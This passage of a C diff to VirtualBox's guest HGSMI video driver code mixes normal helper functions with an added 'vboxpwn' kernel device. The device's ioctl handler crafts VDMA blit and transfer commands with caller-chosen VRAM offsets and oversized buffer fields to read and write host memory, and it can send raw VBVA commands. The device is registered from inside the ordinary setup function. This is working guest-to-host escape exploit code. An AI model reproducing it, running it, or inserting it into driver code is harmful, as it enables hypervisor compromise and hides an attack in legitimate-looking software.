Initialize the buffer and get the offset for port IO. */ + HGSMIOFFSET offBuffer = HGSMIHeapBufferOffset (HGSMIGUESTCMDHEAP_GET(&pCtx->heapCtx), pvBuffer); + + Assert(offBuffer != HGSMIOFFSET_VOID); + if (offBuffer != HGSMIOFFSET_VOID) + { + /* Submit the buffer to the host. */ + VBoxVideoCmnPortWriteUlong(pCtx->port, offBuffer); + /* Make the compiler aware that the host has changed memory. */ + ASMCompilerBarrier(); + return VINF_SUCCESS; + } + + return VERR_INVALID_PARAMETER; +} + + +/** Inform the host of the location of the host flags in VRAM via an HGSMI + * command. */ +static int vboxHGSMIReportFlagsLocation(PHGSMIGUESTCOMMANDCONTEXT pCtx, + HGSMIOFFSET offLocation) +{ + HGSMIBUFFERLOCATION *p; + int rc = VINF_SUCCESS; + + /* Allocate the IO buffer. */ + p = (HGSMIBUFFERLOCATION *)VBoxHGSMIBufferAlloc(pCtx, + sizeof(HGSMIBUFFERLOCATION), + HGSMI_CH_HGSMI, + HGSMI_CC_HOST_FLAGS_LOCATION); + if (p) + { + /* Prepare data to be sent to the host. */ + p->offLocation = offLocation; + p->cbLocation = sizeof(HGSMIHOSTFLAGS); + rc = VBoxHGSMIBufferSubmit(pCtx, p); + /* Free the IO buffer. */ + VBoxHGSMIBufferFree(pCtx, p); + } + else + rc = VERR_NO_MEMORY; + return rc; +} + + +/** + * Inform the host of the location of the host flags in VRAM via an HGSMI + * command. + * @returns IPRT status value. + * @returns VERR_NOT_IMPLEMENTED if the host does not support the command. + * @returns VERR_NO_MEMORY if a heap allocation fails. + * @param pCtx the context of the guest heap to use. + * @param offLocation the offset chosen for the flags withing guest + * VRAM. + */ +DECLHIDDEN(int) VBoxHGSMIReportFlagsLocation(PHGSMIGUESTCOMMANDCONTEXT pCtx, + HGSMIOFFSET offLocation) +{ + return vboxHGSMIReportFlagsLocation(pCtx, offLocation); +} + + +/** Notify the host of HGSMI-related guest capabilities via an HGSMI command. + */ +static int vboxHGSMISendCapsInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx, + uint32_t fCaps) +{ + VBVACAPS *pCaps; + int rc = VINF_SUCCESS; + + /* Allocate the IO buffer. */ + pCaps = (VBVACAPS *)VBoxHGSMIBufferAlloc(pCtx, + sizeof(VBVACAPS), HGSMI_CH_VBVA, + VBVA_INFO_CAPS); + + if (pCaps) + { + /* Prepare data to be sent to the host. */ + pCaps->rc = VERR_NOT_IMPLEMENTED; + pCaps->fCaps = fCaps; + rc = VBoxHGSMIBufferSubmit(pCtx, pCaps); + if (RT_SUCCESS(rc)) + { + AssertRC(pCaps->rc); + rc = pCaps->rc; + } + /* Free the IO buffer. */ + VBoxHGSMIBufferFree(pCtx, pCaps); + } + else + rc = VERR_NO_MEMORY; + return rc; +} + + +/** + * Notify the host of HGSMI-related guest capabilities via an HGSMI command. + * @returns IPRT status value. + * @returns VERR_NOT_IMPLEMENTED if the host does not support the command. + * @returns VERR_NO_MEMORY if a heap allocation fails. + * @param pCtx the context of the guest heap to use. + * @param fCaps the capabilities to report, see VBVACAPS. + */ +DECLHIDDEN(int) VBoxHGSMISendCapsInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx, + uint32_t fCaps) +{ + return vboxHGSMISendCapsInfo(pCtx, fCaps); +} + + +/** Tell the host about the location of the area of VRAM set aside for the host + * heap. */ +static int vboxHGSMIReportHostArea(PHGSMIGUESTCOMMANDCONTEXT pCtx, + uint32_t u32AreaOffset, uint32_t u32AreaSize) +{ + VBVAINFOHEAP *p; + int rc = VINF_SUCCESS; + + /* Allocate the IO buffer. */ + p = (VBVAINFOHEAP *)VBoxHGSMIBufferAlloc(pCtx, + sizeof (VBVAINFOHEAP), HGSMI_CH_VBVA, + VBVA_INFO_HEAP); + if (p) + { + /* Prepare data to be sent to the host. */ + p->u32HeapOffset = u32AreaOffset; + p->u32HeapSize = u32AreaSize; + rc = VBoxHGSMIBufferSubmit(pCtx, p); + /* Free the IO buffer. */ + VBoxHGSMIBufferFree(pCtx, p); + } + else + rc = VERR_NO_MEMORY; + return rc; +} + + +/** + * Get the information needed to map the basic communication structures in + * device memory into our address space. All pointer parameters are optional. + * + * @param cbVRAM how much video RAM is allocated to the device + * @param poffVRAMBaseMapping where to save the offset from the start of the + * device VRAM of the whole area to map + * @param pcbMapping where to save the mapping size + * @param poffGuestHeapMemory where to save the offset into the mapped area + * of the guest heap backing memory + * @param pcbGuestHeapMemory where to save the size of the guest heap + * backing memory + * @param poffHostFlags where to save the offset into the mapped area + * of the host flags + */ +DECLHIDDEN(void) VBoxHGSMIGetBaseMappingInfo(uint32_t cbVRAM, + uint32_t *poffVRAMBaseMapping, + uint32_t *pcbMapping, + uint32_t *poffGuestHeapMemory, + uint32_t *pcbGuestHeapMemory, + uint32_t *poffHostFlags) +{ + AssertPtrNullReturnVoid(poffVRAMBaseMapping); + AssertPtrNullReturnVoid(pcbMapping); + AssertPtrNullReturnVoid(poffGuestHeapMemory); + AssertPtrNullReturnVoid(pcbGuestHeapMemory); + AssertPtrNullReturnVoid(poffHostFlags); + if (poffVRAMBaseMapping) + *poffVRAMBaseMapping = cbVRAM - VBVA_ADAPTER_INFORMATION_SIZE; + if (pcbMapping) + *pcbMapping = VBVA_ADAPTER_INFORMATION_SIZE; + if (poffGuestHeapMemory) + *poffGuestHeapMemory = 0; + if (pcbGuestHeapMemory) + *pcbGuestHeapMemory = VBVA_ADAPTER_INFORMATION_SIZE + - sizeof(HGSMIHOSTFLAGS); + if (poffHostFlags) + *poffHostFlags = VBVA_ADAPTER_INFORMATION_SIZE + - sizeof(HGSMIHOSTFLAGS); +} + + +typedef struct VBOXVDMACBUF_DR +{ + uint16_t fFlags; + uint16_t cbBuf; + /* RT_SUCCESS() - on success + * VERR_INTERRUPTED - on preemption + * VERR_xxx - on error */ + int32_t rc; + union + { + uint64_t phBuf; + VBOXVIDEOOFFSET offVramBuf; + } Location; + uint64_t aGuestData[7]; +} VBOXVDMACBUF_DR, *PVBOXVDMACBUF_DR; + +typedef struct VBOXVDMACMD +{ + VBOXVDMACMD_TYPE enmType; + uint32_t u32CmdSpecific; +} VBOXVDMACMD, *PVBOXVDMACMD; + +// Data structures for BPB_TRANSFER +typedef struct VBOXVDMACMD_DMA_BPB_TRANSFER +{ + uint32_t cbTransferSize; + uint32_t fFlags; + union + { + uint64_t phBuf; + VBOXVIDEOOFFSET offVramBuf; + } Src; + union + { + uint64_t phBuf; + VBOXVIDEOOFFSET offVramBuf; + } Dst; +} VBOXVDMACMD_DMA_BPB_TRANSFER, *PVBOXVDMACMD_DMA_BPB_TRANSFER; + +// Data structures for PRESENT_BLT +typedef enum +{ + VBOXVDMA_PIXEL_FORMAT_UNKNOWN = 0, + VBOXVDMA_PIXEL_FORMAT_R8G8B8 = 20, + VBOXVDMA_PIXEL_FORMAT_A8R8G8B8 = 21, + VBOXVDMA_PIXEL_FORMAT_X8R8G8B8 = 22, + VBOXVDMA_PIXEL_FORMAT_R5G6B5 = 23, + VBOXVDMA_PIXEL_FORMAT_X1R5G5B5 = 24, + VBOXVDMA_PIXEL_FORMAT_A1R5G5B5 = 25, + VBOXVDMA_PIXEL_FORMAT_A4R4G4B4 = 26, + VBOXVDMA_PIXEL_FORMAT_R3G3B2 = 27, + VBOXVDMA_PIXEL_FORMAT_A8 = 28, + VBOXVDMA_PIXEL_FORMAT_A8R3G3B2 = 29, + VBOXVDMA_PIXEL_FORMAT_X4R4G4B4 = 30, + VBOXVDMA_PIXEL_FORMAT_A2B10G10R10 = 31, + VBOXVDMA_PIXEL_FORMAT_A8B8G8R8 = 32, + VBOXVDMA_PIXEL_FORMAT_X8B8G8R8 = 33, + VBOXVDMA_PIXEL_FORMAT_G16R16 = 34, + VBOXVDMA_PIXEL_FORMAT_A2R10G10B10 = 35, + VBOXVDMA_PIXEL_FORMAT_A16B16G16R16 = 36, + VBOXVDMA_PIXEL_FORMAT_A8P8 = 40, + VBOXVDMA_PIXEL_FORMAT_P8 = 41, + VBOXVDMA_PIXEL_FORMAT_L8 = 50, + VBOXVDMA_PIXEL_FORMAT_A8L8 = 51, + VBOXVDMA_PIXEL_FORMAT_A4L4 = 52, + VBOXVDMA_PIXEL_FORMAT_V8U8 = 60, + VBOXVDMA_PIXEL_FORMAT_L6V5U5 = 61, + VBOXVDMA_PIXEL_FORMAT_X8L8V8U8 = 62, + VBOXVDMA_PIXEL_FORMAT_Q8W8V8U8 = 63, + VBOXVDMA_PIXEL_FORMAT_V16U16 = 64, + VBOXVDMA_PIXEL_FORMAT_W11V11U10 = 65, + VBOXVDMA_PIXEL_FORMAT_A2W10V10U10 = 67 +} VBOXVDMA_PIXEL_FORMAT; + +typedef struct VBOXVDMA_SURF_DESC +{ + uint32_t width; + uint32_t height; + VBOXVDMA_PIXEL_FORMAT format; + uint32_t bpp; + uint32_t pitch; + uint32_t fFlags; +} VBOXVDMA_SURF_DESC, *PVBOXVDMA_SURF_DESC; + +typedef struct VBOXVDMA_RECTL +{ + int16_t left; + int16_t top; + uint16_t width; + uint16_t height; +} VBOXVDMA_RECTL, *PVBOXVDMA_RECTL; + +typedef struct VBOXVDMACMD_DMA_PRESENT_BLT +{ + VBOXVIDEOOFFSET offSrc; + VBOXVIDEOOFFSET offDst; + VBOXVDMA_SURF_DESC srcDesc; + VBOXVDMA_SURF_DESC dstDesc; + VBOXVDMA_RECTL srcRectl; + VBOXVDMA_RECTL dstRectl; + uint32_t u32Reserved; + uint32_t cDstSubRects; + VBOXVDMA_RECTL aDstSubRects[1]; +} VBOXVDMACMD_DMA_PRESENT_BLT, *PVBOXVDMACMD_DMA_PRESENT_BLT; + + +PHGSMIGUESTCOMMANDCONTEXT g_hgsmiContext; +char* g_vram; + +typedef struct PwnRequest { + uint32_t type; // 1/4 == read, 2/5 == write, 3 == custom VBVA command, + // 6 == get VRAM size + uint32_t size; + uint64_t offset; + char data[1]; +} PwnRequest; + +static long pwnIOCtl(struct file *pFilp, unsigned int uCmd, unsigned long ulArg) { + printk("Handling ioctl()\n"); + uint32_t size = uCmd; + PwnRequest* req = (PwnRequest*)ulArg; + + if (size < 16) { + printk("Request buffer too small (is=%d)\n", size); + return -EINVAL; + } + + if (req->type == 1) { + char *p; + printk("Preparing VMDA command for reading %u bytes (offset=%lu).\n", req->size, req->offset); + + uint32_t header_size = + 32 + + sizeof(VBOXVDMACBUF_DR) + + sizeof(VBOXVDMACMD) + + sizeof(VBOXVDMACMD_DMA_PRESENT_BLT); + + p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, + header_size + req->size, + HGSMI_CH_VBVA, + 11 /*VBVA_VDMA_CMD*/); + if (!p) { + printk("Failed to allocate HGSMI memory\n"); + return -ENOMEM; + } + + memset(p + header_size, 0x41, req->size); + + PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32); + pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/; + pCmd->cbBuf = 0xffff; + + PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR)); + pDmaCmd->enmType = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT */; + + PVBOXVDMACMD_DMA_PRESENT_BLT pBlt = (PVBOXVDMACMD_DMA_PRESENT_BLT)((char*)pDmaCmd + sizeof(VBOXVDMACMD)); + pBlt->cDstSubRects = 0; + pBlt->offSrc = req->offset; + pBlt->offDst = p - g_vram + header_size; + + pBlt->srcRectl.width = 1; + pBlt->srcRectl.height = req->size; + pBlt->srcRectl.left = 0; + pBlt->srcRectl.top = 0; + + pBlt->dstRectl.width = 1; + pBlt->dstRectl.height = req->size; + pBlt->dstRectl.left = 0; + pBlt->dstRectl.top = 0; + + pBlt->srcDesc.width = 1; + pBlt->srcDesc.height = req->size; + pBlt->srcDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/; + pBlt->srcDesc.bpp = 1; + pBlt->srcDesc.pitch = 1; + pBlt->srcDesc.fFlags = 0; + + pBlt->dstDesc.width = 1; + pBlt->dstDesc.height = req->size; + pBlt->dstDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/; + pBlt->dstDesc.bpp = 1; + pBlt->dstDesc.pitch = 1; + pBlt->dstDesc.fFlags = 0; + + int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); + VBoxHGSMIBufferFree(g_hgsmiContext, p); + if (RT_FAILURE(rc)) { + printk("Error while sending VMDA command: %d\n", rc); + return -EFAULT; + } + + memcpy(req->data, p+header_size, req->size); + } else if (req->type == 2) { + char *p; + printk("Preparing VMDA command for writing %u bytes (offset=%lu).\n", req->size, req->offset); + + uint32_t header_size = + 32 + + sizeof(VBOXVDMACBUF_DR) + + sizeof(VBOXVDMACMD) + + sizeof(VBOXVDMACMD_DMA_PRESENT_BLT); + + p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, + header_size + req->size, + HGSMI_CH_VBVA, + 11 /*VBVA_VDMA_CMD*/); + if (!p) { + printk("Failed to allocate HGSMI memory\n"); + return -ENOMEM; + } + + memcpy(p + header_size, req->data, req->size); + + PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32); + pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/; + pCmd->cbBuf = 0xffff; + + PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR)); + pDmaCmd->enmType = 1 /* VBOXVDMACMD_TYPE_DMA_PRESENT_BLT */; + + PVBOXVDMACMD_DMA_PRESENT_BLT pBlt = (PVBOXVDMACMD_DMA_PRESENT_BLT)((char*)pDmaCmd + sizeof(VBOXVDMACMD)); + pBlt->cDstSubRects = 0; + pBlt->offSrc = p - g_vram + header_size; + pBlt->offDst = req->offset; + + pBlt->srcRectl.width = 1; + pBlt->srcRectl.height = req->size; + pBlt->srcRectl.left = 0; + pBlt->srcRectl.top = 0; + + pBlt->dstRectl.width = 1; + pBlt->dstRectl.height = req->size; + pBlt->dstRectl.left = 0; + pBlt->dstRectl.top = 0; + + pBlt->srcDesc.width = 1; + pBlt->srcDesc.height = req->size; + pBlt->srcDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/; + pBlt->srcDesc.bpp = 1; + pBlt->srcDesc.pitch = 1; + pBlt->srcDesc.fFlags = 0; + + pBlt->dstDesc.width = 1; + pBlt->dstDesc.height = req->size; + pBlt->dstDesc.format = 20 /*VBOXVDMA_PIXEL_FORMAT_R8G8B8*/; + pBlt->dstDesc.bpp = 1; + pBlt->dstDesc.pitch = 1; + pBlt->dstDesc.fFlags = 0; + + int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); + VBoxHGSMIBufferFree(g_hgsmiContext, p); + if (RT_FAILURE(rc)) { + printk("Error while sending VMDA command: %d\n", rc); + return -EFAULT; + } + } else if (req->type == 3) { + char *p; + printk("Sending custom VBVA command (size=%u).\n", req->size); + + p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, + req->size, + HGSMI_CH_VBVA, + req->offset); + if (!p) { + printk("Failed to allocate HGSMI memory\n"); + return -ENOMEM; + } + + memcpy(p, req->data, req->size); + + int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); + VBoxHGSMIBufferFree(g_hgsmiContext, p); + if (RT_FAILURE(rc)) { + printk("Error while sending VBVA command: %d\n", rc); + return -EFAULT; + } + } else if (req->type == 4) { + char *p; + printk("Preparing BpbTransfer command for reading %u bytes (offset=%llu).\n", req->size, req->offset); + + uint32_t header_size = + 32 + + sizeof(VBOXVDMACBUF_DR) + + sizeof(VBOXVDMACMD) + + sizeof(VBOXVDMACMD_DMA_BPB_TRANSFER); + + p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, + header_size + req->size, + HGSMI_CH_VBVA, + 11 /*VBVA_VDMA_CMD*/); + if (!p) { + printk("Failed to allocate HGSMI memory\n"); + return -ENOMEM; + } + + memset(p + header_size, 0x41, req->size); + + PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32); + pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/; + pCmd->cbBuf = 0xffff; + + PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR)); + pDmaCmd->enmType = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER */; + + PVBOXVDMACMD_DMA_BPB_TRANSFER pBpb = (PVBOXVDMACMD_DMA_BPB_TRANSFER)((char*)pDmaCmd + sizeof(VBOXVDMACMD)); + pBpb->cbTransferSize = req->size; + pBpb->fFlags = 3; + pBpb->Src.offVramBuf = req->offset; + pBpb->Dst.offVramBuf = p - g_vram + header_size; + + int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); + VBoxHGSMIBufferFree(g_hgsmiContext, p); + if (RT_FAILURE(rc)) { + printk("Error while sending VDMA command: %d\n", rc); + return -EFAULT; + } + + memcpy(req->data, p+header_size, req->size); + } else if (req->type == 5) { + char *p; + printk("Preparing BpbTransfer command for writing %u bytes (offset=%llu).\n", req->size, req->offset); + + uint32_t header_size = + 32 + + sizeof(VBOXVDMACBUF_DR) + + sizeof(VBOXVDMACMD) + + sizeof(VBOXVDMACMD_DMA_BPB_TRANSFER); + + p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext, + header_size + req->size, + HGSMI_CH_VBVA, + 11 /*VBVA_VDMA_CMD*/); + if (!p) { + printk("Failed to allocate HGSMI memory\n"); + return -ENOMEM; + } + + memcpy(p + header_size, req->data, req->size); + + PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32); + pCmd->fFlags = 2/*VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR*/; + pCmd->cbBuf = 0xffff; + + PVBOXVDMACMD pDmaCmd = (PVBOXVDMACMD)((char*)pCmd + sizeof(VBOXVDMACBUF_DR)); + pDmaCmd->enmType = 2 /* VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER */; + + PVBOXVDMACMD_DMA_BPB_TRANSFER pBpb = (PVBOXVDMACMD_DMA_BPB_TRANSFER)((char*)pDmaCmd + sizeof(VBOXVDMACMD)); + pBpb->cbTransferSize = req->size; + pBpb->fFlags = 3; + pBpb->Dst.offVramBuf = req->offset; + pBpb->Src.offVramBuf = p - g_vram + header_size; + + int rc = VBoxHGSMIBufferSubmit(g_hgsmiContext, p); + VBoxHGSMIBufferFree(g_hgsmiContext, p); + if (RT_FAILURE(rc)) { + printk("Error while sending VDMA command: %d\n", rc); + return -EFAULT; + } + + memcpy(req->data, p+header_size, req->size); + } else if (req->type == 6) { + printk("Getting VRAM size\n"); + uint32_t vram_size = VBoxVideoCmnPortReadUlong(VBE_DISPI_IOPORT_DATA); + memcpy(req->data, &vram_size, sizeof vram_size); + } else { + printk("Unknown request type: %d\n", req->type); + return -EFAULT; + } + + return 0; +} + +static struct file_operations g_PwnFileOps = +{ + owner: THIS_MODULE, + unlocked_ioctl: pwnIOCtl, +}; + +static struct miscdevice g_PwnDevice = +{ + minor: MISC_DYNAMIC_MINOR, + name: "vboxpwn", + fops: &g_PwnFileOps, +}; + + +/** + * Set up the HGSMI guest-to-host command context. + * @returns iprt status value + * @param pCtx the context to set up + * @param pvGuestHeapMemory a pointer to the mapped backing memory for + * the guest heap + * @param cbGuestHeapMemory the size of the backing memory area + * @param offVRAMGuestHeapMemory the offset of the memory pointed to by + * @a pvGuestHeapMemory within the video RAM + */ +DECLHIDDEN(int) VBoxHGSMISetupGuestContext(PHGSMIGUESTCOMMANDCONTEXT pCtx, + void *pvGuestHeapMemory, + uint32_t cbGuestHeapMemory, + uint32_t offVRAMGuestHeapMemory, + const HGSMIENV *pEnv) +{ + g_vram = (char*)pvGuestHeapMemory - offVRAMGuestHeapMemory; + g_hgsmiContext = pCtx; + printk("Registering device node. VRAM @ 0x%016lx\n", g_vram); + if (!misc_register(&g_PwnDevice)) { + printk("Successfully created pwn device.\n"); + } else { + printk("Error creating pwn device.\n"); + } + + /** @todo should we be using a fixed ISA port value here? */ + pCtx->port = (RTIOPORT)VGA_PORT_HGSMI_GUEST; +#ifdef VBOX_WDDM_MINIPORT + return VBoxSHGSMIInit(&pCtx->heapCtx, pvGuestHeapMemory, + cbGuestHeapMemory, offVRAMGuestHeapMemory, pEnv); +#else + return HGSMIHeapSetup(&pCtx->heapCtx, pvGuestHeapMemory, + cbGuestHeapMemory, offVRAMGuestHeapMemory, pEnv); +#endif +} + + +/** + * Get the information needed to map the area used by the host to send back + * requests. + * + * @param pCtx the context containing the heap to use + * @param cbVRAM how much video RAM is allocated to the device + * @param offVRAMBaseMapping the offset of the basic communication structures + * into the guest's VRAM + * @param poffVRAMHostArea where to store the offset into VRAM of the host + * heap area + * @param pcbHostArea where to store the size of the host heap area + */ +DECLHIDDEN(void) VBoxHGSMIGetHostAreaMapping(PHGSMIGUESTCOMMANDCONTEXT pCtx, + uint32_t cbVRAM, + uint32_t offVRAMBaseMapping, + uint32_t *poffVRAMHostArea, + uint32_t *pcbHostArea) +{ + uint32_t offVRAMHostArea = offVRAMBaseMapping, cbHostArea = 0; + + AssertPtrReturnVoid(poffVRAMHostArea); + AssertPtrReturnVoid(pcbHostArea); + VBoxQueryConfHGSMI(pCtx, VBOX_VBVA_CONF32_HOST_HEAP_SIZE, &cbHostArea); + if (cbHostArea != 0) + { + uint32_t cbHostAreaMaxSize = cbVRAM / 4; + /** @todo what is the idea of this? */ + if (cbHostAreaMaxSize >= VBVA_ADAPTER_INFORMATION_SIZE) + { + cbHostAreaMaxSize -= VBVA_ADAPTER_INFORMATION_SIZE; + } + if (cbHostArea > cbHostAreaMaxSize) + { + cbHostArea = cbHostAreaMaxSize; + } + /* Round up to 4096 bytes. */ + cbHostArea = (cbHostArea + 0xFFF) & ~0xFFF; + offVRAMHostArea = offVRAMBaseMapping - cbHostArea; + } + + *pcbHostArea = cbHostArea; + *poffVRAMHostArea = offVRAMHostArea; + LogFunc(("offVRAMHostArea = 0x%08X, cbHostArea = 0x%08X\n", + offVRAMHostArea, cbHostArea)); +} + + +/** + * Initialise the host context structure. + * + * @param pCtx the context structure to initialise + * @param pvBaseMapping where the basic HGSMI structures are mapped at + * @param offHostFlags the offset of the host flags into the basic HGSMI + * structures + * @param pvHostAreaMapping where the area for the host heap is mapped at + * @param offVRAMHostArea offset of the host heap area into VRAM + * @param cbHostArea size in bytes of the host heap area + */ +DECLHIDDEN(void) VBoxHGSMISetupHostContext(PHGSMIHOSTCOMMANDCONTEXT pCtx, + void *pvBaseMapping, + uint32_t offHostFlags, + void *pvHostAreaMapping, + uint32_t offVRAMHostArea, + uint32_t cbHostArea) +{ + uint8_t *pu8HostFlags = ((uint8_t *)pvBaseMapping) + offHostFlags; + pCtx->pfHostFlags = (HGSMIHOSTFLAGS *)pu8HostFlags; + /** @todo should we really be using a fixed ISA port value here? */ + pCtx->port = (RTIOPORT)VGA_PORT_HGSMI_HOST; + HGSMIAreaInitialize(&pCtx->areaCtx, pvHostAreaMapping, cbHostArea, + offVRAMHostArea); +} + + +/** + * Tell the host about the ways it can use to communicate back to us via an + * HGSMI command + * + * @returns iprt status value + * @param pCtx the context containing the heap to use + * @param offVRAMFlagsLocation where we wish the host to place its flags + * relative to the start of the VRAM + * @param fCaps additions HGSMI capabilities the guest + * supports + * @param offVRAMHostArea offset into VRAM of the host heap area + * @param cbHostArea size in bytes of the host heap area + */ +DECLHIDDEN(int) VBoxHGSMISendHostCtxInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx, + HGSMIOFFSET offVRAMFlagsLocation, + uint32_t fCaps, + uint32_t offVRAMHostArea, + uint32_t cbHostArea) +{ + Log(("VBoxVideo::vboxSetupAdapterInfo\n")); + + /* setup the flags first to ensure they are initialized by the time the + * host heap is ready */ + int rc = vboxHGSMIReportFlagsLocation(pCtx, offVRAMFlagsLocation); + AssertRC(rc); + if (RT_SUCCESS(rc) && fCaps) + { + /* Inform about caps */ + rc = vboxHGSMISendCapsInfo(pCtx, fCaps); + AssertRC(rc); + } + if (RT_SUCCESS (rc)) + { + /* Report the host heap location. */ + rc = vboxHGSMIReportHostArea(pCtx, offVRAMHostArea, cbHostArea); + AssertRC(rc); + } + Log(("VBoxVideo::vboxSetupAdapterInfo finished rc = %d\n", rc)); + return rc; +} + + +/** Sanity test on first call. We do not worry about concurrency issues. */ +static int testQueryConf(PHGSMIGUESTCOMMANDCONTEXT pCtx) +{ + static bool cOnce = false; + uint32_t ulValue = 0; + int rc; + + if (cOnce) + return VINF_SUCCESS; + cOnce = true; + rc = VBoxQueryConfHGSMI(pCtx, UINT32_MAX, &ulValue); + if (RT_SUCCESS(rc) && ulValue == UINT32_MAX) + return VINF_SUCCESS; + cOnce = false; + if (RT_FAILURE(rc)) + return rc; + return VERR_INTERNAL_ERROR; +} + + +/** + * Query the host for an HGSMI configuration parameter via an HGSMI command. + * @returns iprt status value + * @param pCtx the context containing the heap used + * @param u32Index the index of the parameter to query, + * @see VBVACONF32::u32Index + * @param u32DefValue defaut value + * @param pulValue where to store the value of the parameter on success + */ +DECLHIDDEN(int) VBoxQueryConfHGSMIDef(PHGSMIGUESTCOMMANDCONTEXT pCtx, + uint32_t u32Index, uint32_t u32DefValue, uint32_t *pulValue) +{ + int rc = VINF_SUCCESS; + VBVACONF32 *p; + LogFunc(("u32Index = %d\n", u32Index)); + + rc = testQueryConf(pCtx); + if (RT_FAILURE(rc)) + return rc; + /* Allocate the IO buffer. */ + p = (VBVACONF32 *)VBoxHGSMIBufferAlloc(pCtx, + sizeof(VBVACONF32), HGSMI_CH_VBVA, + VBVA_QUERY_CONF32); + if (p) + { + /* Prepare data to be sent to the host. */ + p->u32Index = u32Index; + p->u32Value = u32DefValue; + rc = VBoxHGSMIBufferSubmit(pCtx, p); + if (RT_SUCCESS(rc)) + { + *pulValue = p->u32Value; + LogFunc(("u32Value = %d\n", p->u32Value)); + } + /* Free the IO buffer. */ + VBoxHGSMIBufferFree(pCtx, p); + } + else + rc = VERR_NO_MEMORY; + LogFunc(("rc = %d\n", rc)); + return rc; +} + +DECLHIDDEN(int) VBoxQueryConfHGSMI(PHGSMIGUESTCOMMANDCONTEXT pCtx, + uint32_t u32Index, uint32_t *pulValue) +{ + return VBoxQueryConfHGSMIDef(pCtx, u32Index, UINT32_MAX, pulValue); +} + +/** + * Pass the host a new mouse pointer shape via an HGSMI command. + * + * @returns success or failure + * @param fFlags cursor flags, @see VMMDevReqMousePointer::fFlags + * @param cHotX horizontal position of the hot spot + * @param cHotY vertical position of the hot spot + * @param cWidth width in pixels of the cursor + * @param cHeight height in pixels of the cursor + * @param pPixels pixel data, @see VMMDevReqMousePointer for the format + * @param cbLength size in bytes of the pixel data + */ +DECLHIDDEN(int) VBoxHGSMIUpdatePointerShape(PHGSMIGUESTCOMMANDCONTEXT pCtx, + uint32_t fFlags, + uint32_t cHotX, + uint32_t cHotY, + uint32_t cWidth, + uint32_t cHeight, + uint8_t *pPixels, + uint32_t cbLength) +{ + VBVAMOUSEPOINTERSHAPE *p; + uint32_t cbData = 0; + int rc = VINF_SUCCESS; + + if (fFlags & VBOX_MOUSE_POINTER_SHAPE) + { + /* Size of the pointer data: sizeof (AND mask) + sizeof (XOR_MASK) */ + cbData = ((((cWidth + 7) / 8) * cHeight + 3) & ~3) + + cWidth * 4 * cHeight; + /* If shape is supplied, then always create the pointer visible. + * See comments in 'vboxUpdatePointerShape' + */ + fFlags |= VBOX_MOUSE_POINTER_VISIBLE; + } + LogFlowFunc(("cbData %d, %dx%d\n", cbData, cWidth, cHeight)); + if (cbData > cbLength) + { + LogFunc(("calculated pointer data size is too big (%d bytes, limit %d)\n", + cbData, cbLength)); + return VERR_INVALID_PARAMETER; + } + /* Allocate the IO buffer. */ + p = (VBVAMOUSEPOINTERSHAPE *)VBoxHGSMIBufferAlloc(pCtx, + sizeof(VBVAMOUSEPOINTERSHAPE) + + cbData, + HGSMI_CH_VBVA, + VBVA_MOUSE_POINTER_SHAPE); + if (p) + { + /* Prepare data to be sent to the host. */ + /* Will be updated by the host. */ + p->i32Result = VINF_SUCCESS; + /* We have our custom flags in the field */ + p->fu32Flags = fFlags; + p->u32HotX = cHotX; + p->u32HotY = cHotY; + p->u32Width = cWidth; + p->u32Height = cHeight; + if (p->fu32Flags & VBOX_MOUSE_POINTER_SHAPE) + /* Copy the actual pointer data. */ + memcpy (p->au8Data, pPixels, cbData); + rc = VBoxHGSMIBufferSubmit(pCtx, p); + if (RT_SUCCESS(rc)) + rc = p->i32Result; + /* Free the IO buffer. */ + VBoxHGSMIBufferFree(pCtx, p); + } + else + rc = VERR_NO_MEMORY; + LogFlowFunc(("rc %d\n", rc)); + return rc; +} + + +/** + * Report the guest cursor position. The host may wish to use this information + * to re-position its own cursor (though this is currently unlikely). The + * current host cursor position is returned. + * @param pCtx The context containing the heap used. + * @param fReportPosition Are we reporting a position? + * @param x Guest cursor X position. + * @param y Guest cursor Y position. + * @param pxHost Host cursor X position is stored here. Optional. + * @param pyHost Host cursor Y position is stored here. Optional. + * @returns iprt status code. + * @returns VERR_NO_MEMORY HGSMI heap allocation failed. + */ +DECLHIDDEN(int) VBoxHGSMICursorPosition(PHGSMIGUESTCOMMANDCONTEXT pCtx, bool fReportPosition, uint32_t x, uint32_t y, + uint32_t *pxHost, uint32_t *pyHost) +{ + int rc = VINF_SUCCESS; + VBVACURSORPOSITION *p; + Log(("%s: x=%u, y=%u\n", __PRETTY_FUNCTION__, (unsigned)x, (unsigned)y)); + + /* Allocate the IO 